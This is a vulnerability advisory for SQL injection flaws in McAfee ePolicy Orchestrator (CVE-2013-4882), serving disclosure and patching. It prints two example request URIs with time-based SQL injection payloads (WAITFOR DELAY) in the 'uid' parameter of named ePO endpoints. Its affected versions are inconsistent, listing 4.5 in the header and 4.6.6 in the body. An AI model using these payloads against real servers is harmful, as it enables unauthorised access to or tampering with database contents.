McAfee ePolicy Orchestrator Multiple SQL Injection Vulnerabilities

Bugtraq ID:	61421
Class:	Input Validation Error
CVE:	CVE-2013-4882
Remote:	Yes
Local:	No
Published:	Jul 12 2013 12:00AM
Updated:	Jul 12 2013 12:00AM
Credit:	Nuri Fattah of NATO / NCIRC
Vulnerable:	McAfee ePolicy Orchestrator (ePO) 4.5
Not Vulnerable:

McAfee ePolicy Orchestrator Multiple SQL Injection Vulnerabilities

McAfee ePolicy Orchestrator is prone to multiple SQL-injection vulnerabilities.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NOTE: This issue was previously discussed in BID 61145 (McAfee ePolicy Orchestrator Multiple SQL Injection and Cross Site Scripting Vulnerabilities) but has been given its own record to better document it.

McAfee ePolicy Orchestrator 4.6.6 is vulnerable; other versions may also be affected.

McAfee ePolicy Orchestrator Multiple SQL Injection Vulnerabilities

An attacker can exploit this issue using a web browser.

The following example URIs are available:

http://www.example.com/core/showRegisteredTypeDetails.do?registeredTypeID=epo.rt.computer&uid= 6waitf or%20delay'0%3a0%3a20'-- &index=0&datasourceID=&orion.user.security.token=2LoWTAOfWJ4ZCjxY&ajax Mode=standard HTTP/1.1

http://www.example.com/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer &uid=1;%20WAITFOR%20DELAY%20'0:0:0';-- &datasourceID=ListDataSource.orion.dashboard.chart.datasource.core.query Factory %3Aquery.2&index=0 HTTP/1.1

McAfee ePolicy Orchestrator Multiple SQL Injection Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

McAfee ePolicy Orchestrator Multiple SQL Injection Vulnerabilities

References:

• ePolicy Orchestrator Product Page (McAfee)